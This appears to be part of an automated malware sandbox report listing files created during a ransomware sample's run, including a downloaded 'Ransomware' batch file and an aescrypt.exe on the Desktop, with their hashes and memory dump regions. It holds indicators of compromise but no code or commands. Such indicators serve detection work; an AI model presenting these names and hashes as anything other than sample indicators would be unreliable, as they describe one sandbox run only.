3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
32b80f850d1ba5c1314cf4f1b58bc31e

SHA1
79cadf3a31f853f24e827851e4a9f2fb823e03d6

SHA256
cb15c13a82a133b8fa6db1b6c0fa6c55176edc586cdde45d5068446d14182495

SHA512
d0f7a62cb7bac554da7e0ccd4ad0152662cb0d0005f0829c4360f2dbfd7351795fe5f630e38b1a5fc51c865f55efc98ca2b23014645e5437709ea74e83300168

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3d81fe58d9d65261a68d236bef626bc

SHA1
e8b16f604b69429e8e11878419f80b0f47d138c2

SHA256
8f72423ca8cc1059b2465129dd8c012feeccd590fb1f18cbe03b8e032a47d21a

SHA512
a8ef0b66045cedd7e938d00b76936db91643ebfd142154cddf30b3836beee5e7763e2ed4bc078e2ac036b6080a5cdc6a9b6fab63eb1c4ce8baf906b70bd93a4a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6c4805e00673bef922d51b1a7137028f

SHA1
0eabb38482d1733dd85a2af9c5342c2cafcd41eb

SHA256
7af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd

SHA512
eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f6a3762a04bbb03336fb66a040afb97

SHA1
0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

SHA256
36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

SHA512
cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\10837

Filesize
8KB

MD5
81861eefdc59c34e524a669e33cc3aec

SHA1
e85e82517a4c0542a07c54507f78e306444b7bd7

SHA256
d1f066b19386a56e635595838f216bc0bbd1877f0eee6f6c9c662039c879d5f6

SHA512
11a6f72d28c535e38178fae2f90198bacce251d6b1473b230f1398bed5f22955c36a24230af21bc641cf91723f2cdbdd19c50c86e1cb57e781d95585ede844e3

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\18409

Filesize
8KB

MD5
a3ce9fbb2a6aea61fd59f03ea71e2754

SHA1
e83189a9e2545444ba84a5ef8ab8cddb34214010

SHA256
4cad820c932374f4b9e11f8c4f02aa55a3a1e8185ef9fed0db0b074e7d7b8015

SHA512
c36640d918a51ccaf443d15e017b0f1c7e0113049ae9c298ca4c7e2823378d52d96e46d2297fa3d225f6873acc614cf29e186fc21bb61dcffc0f4af6feaec830

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\4027

Filesize
8KB

MD5
5c8390dbdca5273be13b92cf3213a232

SHA1
dd910710e4aa06896520335e021a69a0321858f0

SHA256
4cee84af281db367f78c7fab35263a4af373a6134c8feaac6e264d5cc0c89424

SHA512
9abafe8c651ddd09815083a7fdc9741bcae8b1ee7211f3738daeea77706547682ec162cdd725c215018e323cb2385a6a6a96ad96d9e271df1ff75ff814647446

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\6189

Filesize
7KB

MD5
d2605a52c1ef1dc45e45f1520f3bc35c

SHA1
4c31f3ad652dcb9a63ae849e83b493447c168158

SHA256
13c35718eddd3fd201a7e31a4b28253684dd7bc48e53a464605812a9ee7c65f6

SHA512
fddbad857d1ca180633297a98f76fdc091c089eaee057e3ca1e39d301ff747a9eb1099b45686912abec8c6a097c4d0453d251b2c6c0a9adcbfd14cb13ac6a70e

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\9454

Filesize
7KB

MD5
bee4557102f1690f168bb3bf286c9f2d

SHA1
d0773f876b2705675f521744d62ca8bad9a30532

SHA256
3dd63b589f9ff67c3edb72511f4113cf41e4537e9aa65a1b2b35d86f4605ebf8

SHA512
99e65c38be4eab0520063883542cdb866864afee0285b6100c15e6733398f5ebdbcfd0c2d074c316d70de4b1e2c3d183fe243015ec087534a6d9af6d0a151710

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\1E51E1BA9F4AB17DC07AAA7BAB65DF4BCB74837B

Filesize
57KB

MD5
a8f99c2711902f021a2f14d6bb6c8573

SHA1
9a1b3b9c97680816fac0e807ae38c131d3167dc5

SHA256
550f50113b814e20ffe9236fe58d076f7baa2f39c8d9ef3490fa0c6f11482641

SHA512
199949db9b2f6e9817c53ed288aaab4b1ec8bfa95d1e87a760fcae0c90c1d5ee20a52035a96c343ac8c391efdffdfe312d8d5cfd044339c31ad02ced682c83a5

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\C8FF7458DA05DE532237FBAA0E5354C5E68DE6E1

Filesize
14KB

MD5
0a0efd3b75f78a0ba623d30aec231cea

SHA1
6fc675c4d88da27890a8e7226f802abbe8cf4612

SHA256
7634014bf5b4d026ef271f896776d95ed6a6cda8ab445629bbdb3100668fdc53

SHA512
d768c0da9bbf992844097a10d20b72355881381d9b6fb51aad7fcc4bded6481d472ec23a065ab946c802d5d5af3af9959094956e0a0a60443c9f177e336916ef

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\DAE814B5A041D03BABAA4BBDE1ADDD497EBF837E

Filesize
23KB

MD5
1215191c6fcdb40a6514170b57b3ff2f

SHA1
8edf0e43e564eb9e44c91f92bd7a7c5c46472b4e

SHA256
0cc06bb4be0c8f26d3c0d1aa746349ce9edd8ef1a9a17646c0a8b1a25d74d33b

SHA512
49aa6c36762e7c3978f8bab01dfbc960553d9c3bd48ce1691ee8c687af69f650e4553803a0fc83c7f25b4f06dc4486418a4f936a2713709db73d99cbe3dd33d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0erxhled.cxq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\html-output-temp.dat

Filesize
24KB

MD5
f2184b3e3fd7fb168cb7d7670f575641

SHA1
a79871f4be93c3cb15aca98974c3654dde65f9f5

SHA256
be61d605457871cd7044cc15390114bfb338b032ab2eae5eacfa624d609f70a4

SHA512
9ae6b96f71b79bf8bc6ba1f9ef39c9902bd9ee7d13b2798a7ec8b6fb7af8b41a03c7ab504740b9c86eacb8a90ccfb726e534367ef38574dd928ccb6205277e01

Download Submit
C:\Users\Admin\AppData\Roaming\Adobe\CRLogs\crashlogs\log-latest.dat

Filesize
19B

MD5
92f902baf3ad19abbe0167ae3a42fbc0

SHA1
3f789f03927250d31a148829349b95deb92fd35e

SHA256
118eca3d36985ee429939017ea7c243cb45cf3a69bd6b473c14d278a808b361c

SHA512
c6532be91d0322b629e54a8fb35fd985e4d82a51ed9526d62723315c05fdba28aa4fef1e761985fcbe8bad4a81f8d3febda4f1e1e60903e56b786ab86614d82f

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\datareporting\glean\db\data.safe.bin

Filesize
9KB

MD5
94f9db5d98d4c7c8a2a295ad8a8bb8aa

SHA1
97e6b5d703d45849965e4fdba273055f90d675e0

SHA256
adda8f77414870e407c6903bcc93fd0667bc94625158367666ec7971f2e028dc

SHA512
cb3bbe2ccc58b95535c6833d51a05efa653b2808532056e8f847953a45c3f0bbc1deaf28b24f66f483ac23c19c1aa0c93a68c002639c42a5e569d6db81143f38

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\datareporting\glean\pending_pings\2a2123d1-cbdd-49e7-9d15-bfbe36c74dd1

Filesize
734B

MD5
3b10639c2e992db6bd719aec50b4c3b2

SHA1
f35aadd616a0a0b01a81cc6e2b326de8ec72f8ca

SHA256
c690ac254f3f9f2ed1d20a9cdd05be6056585f7e8d7b8f372202aed4c5fb392f

SHA512
de1939ee4e5ed9efdf3ba2250f7e686f61059b3a956a00e5b6c023e4747cf686795fa81305a0c5e5e5b9498d5d60ef706b2e3f9345ae1e8f4e4734c54e9306a0

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\prefs-1.js

Filesize
6KB

MD5
4040e8ebcfad71fb5e8e53801f969f5d

SHA1
1f15de2753e7390d2d5b34a0889be7b2b21d216e

SHA256
ebf647b1bf62271a8e0d3aa0701c2217dd7c2194627bc5cc357784f336247a00

SHA512
144285085c90a0bce95cebe01a4186359b3cb59713630daa39afc6e918efb42e6f31169a24e1978ec6aedd68e83d022f85320251b113b4928838979f7406eb64

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\prefs-1.js

Filesize
6KB

MD5
381571bda768d24311971ffc0f2ee90f

SHA1
b543a0cac9eceff5fb2fd8da806a07959cf60a51

SHA256
91b6af90af5e75d5722df1d53e61dae715d49b8a67abd7dd26196dcf88aa68da

SHA512
c027cc0e803289461d2c85b22621748aed4bced38b47f4d83642552bbf76db578386be6e81f4384998763184f31117c081a9269bb59f8dfd1f7cf8481908a6aa

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\prefs-1.js

Filesize
6KB

MD5
63c87e00b5eb6a84326f34cccfba0494

SHA1
1978d15691cce91003907104bfb3e80a36e23aca

SHA256
19095879d42b804cf9d493f58e4d90bb4073d0ed0322646fdef7d3e06ddafc68

SHA512
c8a825da186b102c0ffcc09947fc41015eb3a3aac5841e086ddeae9677274ca966dd892fa81e6ab0b846cba34e21cd530605d1c3f3b16ccc5bb68582309d974b

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\prefs.js

Filesize
6KB

MD5
cb322b673269ba4085ab64e19e0c25b2

SHA1
f75288f0b2723ab178c3440d982843035ebf8aa1

SHA256
31c8218bfbc6be1cc4a176b40f2931e223d53c2da6690b738b031edf1fe07f33

SHA512
e3d56c17017bdf0fb7a936569d94d834b67dd37c4bcf14bc586df3ea78e15681e341c3d3b12dababe5ee38baa9b5705d64514ddc9ea91ea36de8c40d0acefe56

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\prefs.js

Filesize
6KB

MD5
45c4b8fa13b1ebe460ad1b31d3af31a7

SHA1
4067dc01e95265339d3ac397e56c5fd255008974

SHA256
cc27dbdcc1c698db0f5a4d12d2589fad6a0faec045c49033b14d5217551b94f8

SHA512
98af00af9e924a14f40465b8cedd5fe100a86ddd8d71f697637570667075df3a628768a4503d24a62f4311afcb8b3b37e9e5f1036fd1d927cd0ed7888ced90d4

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
1KB

MD5
72e2dbdad8f374878539d12039295a2e

SHA1
e6e4565f829038dc0003eea6c5071e10b4a7c5d0

SHA256
34041c8118e7aa331d8de41507b233d709eebfca82bb4bcc33074ae453db2b30

SHA512
3669e894989de43f201011f86d916f70fe109daad8e486e81ded57c4fa3773c323a04d755f394c22ebe29ebe31fe0315294539570eeb855221b391d1d1f3570e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
3KB

MD5
71cdde555cd80393b7abe643e4915330

SHA1
f50e63d9c0752dc9ac6ae8cb295b5c63fc95e2ca

SHA256
ac968460bf5eeb6032d3485806426ea0922f6dc45a0acd748ce77aa9108f0896

SHA512
c08d8296b1913bb55c971be21fb3783b7d06afe1f8072f7bcd74caadc79c6e7c0ba8ef78aa0a72a06415a09654026de87fea2a731d0be427d64d7699719a92ae

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
2KB

MD5
93cbea5551340786deb86beb54982daa

SHA1
9e6c42c72434e5be0e9c94b377201449a2bdea8a

SHA256
d3f4a2bd29ecb92cc0360d28700260635a5208622b75d338b1022c4ea8fc80ff

SHA512
2ee79b5bfd286b0b5f28a08aba00a227b7fd9516b988aabc3ac4c63e96e748e936a296fff80c7832ab799738d0415c1d4467c30c253f6fe7f0bccca6554eaab6

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore.jsonlz4

Filesize
3KB

MD5
19a764dfcbd2a7e15309a6d524a032c8

SHA1
6a490368f3f79c5321e0d2b04cdf3665e1349f54

SHA256
f022c390dbbc608658be1ad42d9f1175c380badb253c78e4d2f525946d7cc73e

SHA512
86da848b1e2def2dc2a2d356e7295a14838c4c6a9924829c39a9813ab5a58fdfa75e71217500fb9859daf3de92e0f50121aea800711929a2baf931c158bde1b2

Download Submit
C:\Users\Admin\Desktop\aescrypt.exe

Filesize
151KB

MD5
e5125d4651c008eba61d9fd3abd5ab31

SHA1
4a85e5d6ab73891832c9adaa4a70c1896773c279

SHA256
874cb7a8513b781b25e176828fe8fe5ac73fa2fe29ea2aac5fe0eaad50e63f39

SHA512
26ba2cecf7324e1c5fe46112c31523e2fabad8de34fe84ce3a9e3a63922b0f85d84982e7c6bae13d2e3cf65193f7a19a67a2fc80af5a78ef8cfe611fce1a9409

Download Submit
C:\Users\Admin\Downloads\Ransomware.puZq9U_l.bat.part

Filesize
4KB

MD5
66e15974bc5b3bbb1a51fbb45e42138c

SHA1
97082c83aad5c8d1df280e25f19f454ab787b112

SHA256
b538bc3a3d7d28d5c4f00f3a991837537a87e8f22273ba8736536829f808157f

SHA512
1320ff2edb991a7cf379c4dab58d4017dfd145a80419f6665a2f29fddfe0f32d519ddd4f8eb43bd9110237c3088c130b3c7d6b364d47e4abff64466dc188b47b

Download Submit
memory/1628-88-0x00000235E69F0000-0x00000235E79F0000-memory.dmp

Filesize
16.0MB

Download
memory/1628-4-0x00000235E69F0000-0x00000235E79F0000-memory.dmp

Filesize
16.0MB

Download
memory/6068-1021-0x00007FFF24BA0000-0x00007FFF25661000-memory.dmp

Filesize
10.8MB

Download
memory/6068-1022-0x0000024B2AF00000-0x0000024B2AF10000-memory.dmp

Filesize
64KB

Download
memory/6068-1023-0x0000024B2AF00000-0x0000024B2AF10000-memory.dmp

Filesize
64KB

Download
memory/6068-1035-0x00007FFF24BA0000-0x00007FFF25661000-memory.dmp

Filesize
10.8MB

Download
memory/6500-1020-0x00007FFF24BA0000-0x00007FFF25661000-memory.dmp

Filesize
10.8MB

Download
memory/6500-1017-0x000001C549B50000-0x000001C549B60000-memory.dmp

Filesize
64KB

Download
memory/6500-1016-0x000001C549B50000-0x000001C549B60000-memory.dmp

Filesize
64KB

Download
memory/6500-1014-0x00007FFF24BA0000-0x00007FFF25661000-memory.dmp

Filesize
10.8MB

Download
memory/6724-960-0x000002C424E60000-0x000002C424E70000-memory.dmp

Filesize
64KB

Download
memory/6724-964-0x00007FFF24BA0000-0x00007FFF25661000-memory.dmp

Filesize
10.8MB

Download
memory/6724-948-0x000002C424DD0000-0x000002C424DF2000-memory.dmp

Filesize
136KB

Download
memory/6724-958-0x00007FFF24BA0000-0x00007FFF25661000-memory.dmp

Filesize
10.8MB

Download
memory/6724-959-0x000002C424E60000-0x000002C424E70000-memory.dmp

Filesize
64KB

Download
memory/8576-983-0x000002222F860000-0x0000022230006000-memory.dmp

Filesize
7.6MB

Download
memory/8576-987-0x00007FFF24BA0000-0x00007FFF25661000-memory.dmp

Filesize
10.8MB

Download
memory/8576-985-0x000002222EA80000-0x000002222EA90000-memory.dmp

Filesize
64KB

Download
memory/8576-980-0x000002222EA80000-0x000002222EA90000-memory.dmp

Filesize
64KB

Download
memory/8576-979-0x000002222EA80000-0x000002222EA90000-memory.dmp

Filesize
64KB

Download
memory/8576-978-0x00007FFF24BA0000-0x00007FFF25661000-memory.dmp

Filesize
10.8MB

Download
memory/8740-988-0x00007FFF24BA0000-0x00007FFF25661000-memory.dmp

Filesize
10.8MB

Download
memory/8740-996-0x0000013825780000-0x0000013825790000-memory.dmp

Filesize
64KB

Download
memory/8740-1004-0x00007FFF24BA0000-0x00007FFF25661000-memory.dmp

Filesize
10.8MB

Download
memory/8740-1002-0x0000013825780000-0x0000013825790000-memory.dmp

Filesize
64KB

Download
memory/8740-1001-0x0000013825780000-0x0000013825790000-memory.dmp

Filesize
64KB

Download
memory/8740-994-0x0000013825780000-0x0000013825790000-memory.dmp

Filesize
64KB

Download